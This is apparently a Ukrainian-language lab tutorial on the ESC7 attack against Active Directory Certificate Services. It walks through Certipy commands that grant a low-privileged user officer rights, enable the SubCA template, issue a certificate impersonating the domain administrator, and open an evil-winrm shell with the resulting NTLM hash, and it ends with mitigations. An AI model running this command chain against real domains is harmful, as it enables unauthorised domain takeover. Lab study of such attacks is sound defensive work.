>

ESC7 — це критична вразливість безпеки, при якій зловмисники експлуатують слабкі механізми контролю доступу (access controls) у межах Центрів сертифікації (CA). Таргетуючи ключові дозволи, такі як ManageCA та Manage Certificates, атакуючі можуть компрометувати системи керування сертифікатами. Дозвіл ManageCA надає адміністративний контроль, що дозволяє зловмисникам змінювати такі параметри, як EDITF_ATTRIBUTESUBJECTALTNAME2, та експлуатувати вразливості на кшталт ESC6, використовуючи PSPKI cmdlets. Водночас дозвіл ManageCertificates дає змогу обходити перевірки при видачі сертифікатів, що суттєво послаблює загальний рівень безпеки.

Зміст

• Огляд атаки ESC7
• Порівняння ESC6 та ESC7
• Передумови
• Налаштування лабораторії
• Перерахування та експлуатація
• Зловживання правами керування ЦС за допомогою Certipy
• Постексплуатація
• Горизонтальне переміщення та підвищення привілеїв за допомогою Evil-Winrm
• Заходи протидії

Overview of the ESC7 Attack

ESC7 — це вектор атаки для підвищення привілеїв в Active Directory Certificate Services (ADCS), що виникає через небезпечний контроль доступу на рівні Центру сертифікації (CA). Зокрема, він націлений на випадки, коли потужні дозволи рівня ЦС помилково надаються непривілейованим або низькопривілейованим обліковим записам. До таких дозволів належать:

• ManageCA (Керування ЦС)
• Manage Certificates (Керування сертифікатами)

Ці права, у разі їхнього неналежного використання або нерозуміння наслідків, створюють прямий шлях до компрометації домену через видачу нелегітимних сертифікатів.

Що робить ESC7 можливою?

Фундаментом атаки ESC7 є некоректно налаштовані списки керування доступом (DACL) на самому об’єкті ЦС, доступ до яких здійснюється через оснастку certsrv.msc.

Ключові дозволи, що активують ESC7:

ManageCA

Надає контроль над конфігурацією ЦС, включаючи:

• Додавання або активацію шаблонів сертифікатів.
• Зміну параметрів політики ЦС.
• Встановлення прапора EDITF_ATTRIBUTESUBJECTALTNAME2 (який часто використовується в атаках типу ESC6).

Може бути використаний для підвищення прав або підробки будь-якого шаблону, роблячи його вразливим для експлуатації.

Примітка: Це найнебезпечніший дозвіл у контексті ESC7.

ManageCertificates

• Дозволяє схвалювати запити на сертифікати, що перебувають у статусі очікування.
• Може бути використаний для обходу робочих процесів ручного підтвердження.
• Хоча цей дозвіл не надає прав на зміну конфігурації шаблонів, він дозволяє користувачеві фіналізувати потенційно шкідливі запити (наприклад, для administrator@ignite.local).

Порівняння ESC6 та ESC7

ESC6:

Виникає, коли неправильно налаштований шаблон (наприклад, із прапором ENROLLEE_SUPPLIES_SUBJECT) доступний низькопривілейованим користувачам, що дозволяє експлуатацію без прямого доступу до налаштувань ЦС.

ESC7:

Центр сертифікації (ЦС) має некоректно налаштовані списки контролю доступу (ACL, встановлені через certsrv.msc), що надає непривілейованим користувачам (наприклад, raj@ignite.local) такі права, як ManageCA або ManageCertificates.

Вектор зловживання (Abuse Vector)

ESC6:

Зловмисник просто реєструє (enrols) сертифікат через небезпечний шаблон (якщо має до нього доступ).

ESC7:

Зловмисник спочатку керує ЦС:

• Активує небезпечний шаблон, наприклад SubCA.
• Додає другого користувача (raj@ignite.local) як офіцера сертифікації.
• Випускає сертифікат, імітуючи administrator@ignite.local.

Необхідні права

ESC6:

• Право на реєстрацію (Enroll) у вразливому шаблоні.
• Шаблон має підтримувати: ENROLLEE_SUPPLIES_SUBJECT, Client Authentication EKU

ESC7:

• Права ManageCA або ManageCertificates на самому ЦС.

Вони дозволяють користувачеві:

• Активувати/схвалювати шаблони.
• Випускати запити.
• Змінювати ключові прапори політики ЦС.

Вплив у реальних умовах

ESC6:

• Дозволяє підробляти сертифікати для автентифікації від імені будь-якого користувача..

ESC7:

Дозволяє все вищезазначене, плюс:

• Керування шаблонами.
• Схвалення запитів.
• Переконфігурація ЦС.
• Повний контроль над інфраструктурою сертифікатів.

Примітка: На відміну від ESC6, яка націлена на вже існуючі вразливості, ESC7 дозволяє зловмисникам створювати або активувати їх власноруч. Це робить її масштабнішою та небезпечнішою загрозою, особливо в середовищах із слабкими правами доступу до ЦС.

Prerequisite

• Windows Server 2019 як Active Directory з підтримкою PKINIT
• У домені мають бути налаштовані служби сертифікації Active Directory (AD CS) та Центр сертифікації (CA)
• Kali Linux із попередньо встановленим інструментарієм
• Інструменти: Evil-Winrm, certipy-ad

Налаштування лабораторії

Ця стаття розпочинається з розгляду поширеної помилки конфігурації, коли Центру сертифікації (CA) надаються надмірні права доступу, що потенційно дозволяє зловмисникам підвищити привілеї або компрометувати доменне середовище.

Перевірка дозволів безпеки Центру сертифікації

Ми починаємо з перевірки властивостей Центру сертифікації (CA), щоб зрозуміти, як помилки в налаштуванні контролю доступу можуть уможливити атаку ESC7.

Запустіть certsrv.msc на сервері ЦС, клацніть правою кнопкою миші на назву ЦС (наприклад, ignite-DC-CA) і виберіть Properties (Властивості).

Перевірте налаштування безпеки: перейдіть на вкладку Security та перегляньте список користувачів/груп разом із призначеними їм правами. У цьому випадку групі Authenticated Users було надано дозвіл на запит сертифікатів (Request Certificates).

Хоча це вже становить потенційний ризик у поєднанні зі слабкими шаблонами сертифікатів, наступна помилка конфігурації несе ще більшу загрозу.

Тривожний сигнал: Користувач без прав адміністратора з правами «Manage CA»

У цьому сценарії звичайному користувачу домену, raj (з IGNITE\raj), було явно надано дозвіл Manage CA (Керування ЦС) у Центрі сертифікації.

Чому це небезпечно:

Дозвіл «Manage CA» дозволяє користувачам:

• Змінювати шаблони сертифікатів.
• Налаштовувати політики видачі сертифікатів.
• Додавати або видаляти агентів реєстрації (Enrollment Agents).
• Перезапускати службу ЦС.

Перерахування та експлуатація

Зловживання правами керування ЦС за допомогою Certipy

Маючи доступ до облікового запису Raj із правами ЦС, ми поетапно розберемо повний ланцюжок атаки за допомогою Certipy.

Виявлення вразливих та активованих шаблонів

Першим кроком є перерахування шаблонів, які одночасно є активованими на ЦС та потенційно вразливими для зловживань. Це включає шаблони зі слабкими дозволами або ризикованими конфігураціями, такими як ENROLLEE_SUPPLIES_SUBJECT.

Це виконується за допомогою:

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Команда опитує AD CS для формування списку активованих шаблонів, ідентифікації вразливостей та оцінки таких конфігурацій, як дозволи на реєстрацію, поля суб’єкта та налаштування EKU.

Давайте переглянемо вміст, збережений у форматі файлу .txt або .json.

Це підтверджує, що непривілейований користувач, raj, має небезпечні повноваження (ManageCa), що відкриває шлях для атаки ESC7.

Зловживання дозволом ManageCA

Тепер ми використовуємо дозвіл ManageCA (наданий raj@ignite.local), щоб призначити цього ж користувача офіцером сертифікації. Це фактично робить його агентом реєстрації, здатним видавати сертифікати від імені інших осіб.

certipy-ad  ca -ca ignite-DC-CA -add-officer raj -u raj@ignite.local -p Password@1 -target 192.168.1.48 -dc-ip 192.168.1.48

Активація небезпечного шаблону (SubCA)

Тепер ми активуємо високогопривілейований шаблон сертифіката (SubCA), який можна експлуатувати для підміни особи (impersonation) під час автентифікації.

certipy-ad ca -ca ignite-DC-CA -u raj@ignite.local -p Password@1 -target 192.168.1.48 -enable-template SubCA -dc-ip 192.168.1.48

Це робить такі шаблони, як SubCA, вразливими для зловживань, особливо якщо вони містять небезпечні налаштування, як-от ENROLLEE_SUPPLIES_SUBJECT або слабкі EKU клієнтської автентифікації.

Перерахування активованих шаблонів сертифікатів

Тепер підтвердимо, які шаблони активовані та доступні для використання, за допомогою:

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.33 -enabled

Це перерахування допомагає нам оцінити ландшафт шаблонів, що є вирішальним кроком перед експлуатацією будь-яких вразливостей.

Результат можна зберегти у форматі .txt або .json для подальшого аналізу та перегляду.

Перевірте наступне:

• Шаблон SubCA активовано.
• Підтримка EKU (Extended Key Usage).

Це підтверджує, що ми активували та експлуатували небезпечні EKU. Якщо ми бачимо, що SubCA активовано та налаштовано небезпечним чином, ми переходимо до запиту сертифіката для administrator@ignite.local.

Запит сертифіката від імені адміністратора

Ми використовуємо права офіцера для запиту сертифіката на ім’я іншого користувача, у даному випадку — administrator@ignite.local.

certipy-ad req -u raj@ignite.local -p Password@1 -ca ignite-DC-CA -target 192.168.1.48 -template SubCA -upn administrator@ignite.local -dc-ip 192.168.1.48

У разі успіху система ставить цей запит у чергу на схвалення або негайну видачу, залежно від конфігурації ЦС.

Оскільки raj@ignite.local має права ManageCA, ми можемо запитувати сертифікати для будь-якого користувача, включаючи адміністраторів. Наша перша спроба запросити сертифікат для administrator@ignite.local за допомогою шаблону SubCA завершилася з ID запиту 17 (Request ID 17).

Примітка: Запит на сертифікат може не вдатися з різних причин, таких як обмеження шаблону, налаштування політики ЦС, очікування схвалення, некоректні параметри або додаткові засоби контролю доступу. Ці механізми допомагають запобігти несанкціонованій видачі сертифікатів, навіть за наявності дозволів ManageCA.

Видача запиту

Проте, маючи необхідні дозволи ЦС, ми можемо обійти обмеження, змусивши Центр сертифікації (CA) видати сертифікат або схваливши запит вручну.

Якщо запит на сертифікат все ще перебуває в статусі очікування (у цьому випадку ID запиту = 17), видайте його вручну:

certipy-ad ca  -u raj@ignite.local -p Password@1 -ca ignite-DC-CA -target 192.168.1.48 -issue-request 17 -dc-ip 192.168.1.48

Це імітує ручне схвалення сертифіката, яке Raj може виконати завдяки правам Manage CA.

Отримання виданого сертифіката

Після того як ми видали запит на сертифікат (автоматично або через ручне схвалення), ми отримуємо підсумковий файл .pfx (або .crt) за допомогою:

certipy-ad req -u raj@ignite.local -p Password@1 -ca ignite-DC-CA -target 192.168.1.48 -template SubCA  -retrieve 17 -dc-ip 192.168.1.48

Примітка: Ви можете розділити етапи видачі та отримання залежно від версії інструменту або делегування повноважень.

Ми можемо підтвердити, що сертифікат було отримано для видачі, і ви можете знайти його в розділі «Issued Certificates» (Видані сертифікати).

Автентифікація від імені адміністратора за допомогою сертифіката

Щоб автентифікуватися з цим сертифікатом, нам потрібно об’єднати його з приватним ключем, щоб створити файл .pfx.

Примітка: Certipy обробляє це автоматично під час створення запиту (наприклад, на кроці 6). Однак, якщо ви отримуєте сертифікат окремо (як у цьому випадку), ви повинні вручну асоціювати його з приватним ключем, використаним у початковому запиті.

Використовуючи отриманий файл .pfx, ми проходимо автентифікацію в Active Directory від імені адміністратора:

certipy-ad auth -pfx administrator.pfx  -dc-ip 192.168.1.48

Це підтверджує, що ми успішно пройшли автентифікацію як адміністратор домену, при цьому нам жодного разу не знадобився пароль адміністратора.

Постексплуатація

Горизонтальне переміщення та підвищення привілеїв за допомогою Evil-Winrm

Тепер ми використовуємо evil-winrm та отриманий NTLM-хеш, щоб отримати оболонку (shell) на цільовому контролері домену:

evil-winrm -i 192.168.1.48 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

У результаті ми отримуємо повноцінну адміністративну оболонку (shell) на контролері домену через WinRM, працюючи з привілеями адміністратора домену (Domain Admin).

Заходи протидії (Mitigation)

• Аудит прав «Manage CA» — Регулярно перевіряйте списки контролю доступу (ACL) на рівні Центру сертифікації. Дозволи Manage CA та Manage Certificates повинні мати виключно довірені адміністратори PKI, а не рядові користувачі чи сервісні акаунти.
• Обмеження прав на реєстрацію — Проведіть ревізію всіх шаблонів сертифікатів. Права на запит (Enroll) мають бути максимально обмежені та надаватися лише за принципом найменших привілеїв.
• Відмова від NTLM — Деактивуйте автентифікацію NTLM всюди, де це можливо, на користь безпечніших протоколів (наприклад, Kerberos). Це допоможе запобігти атакам типу Relay, які часто використовуються разом із вразливостями AD CS.
• Впровадження EPA (Extended Protection for Authentication) — Увімкніть розширений захист для автентифікації на веб-інтерфейсах сервісів сертифікації (шлях /certsrv/). Це створить додатковий рівень захисту від атак перехоплення сесій.
• Моніторинг шаблонів та логів — Налаштуйте безперервний моніторинг шаблонів із надто вільними параметрами (наприклад, дозволеною заміною імені суб’єкта). Регулярно аналізуйте журнали видачі сертифікатів на предмет аномальної активності або запитів від імені адміністраторів.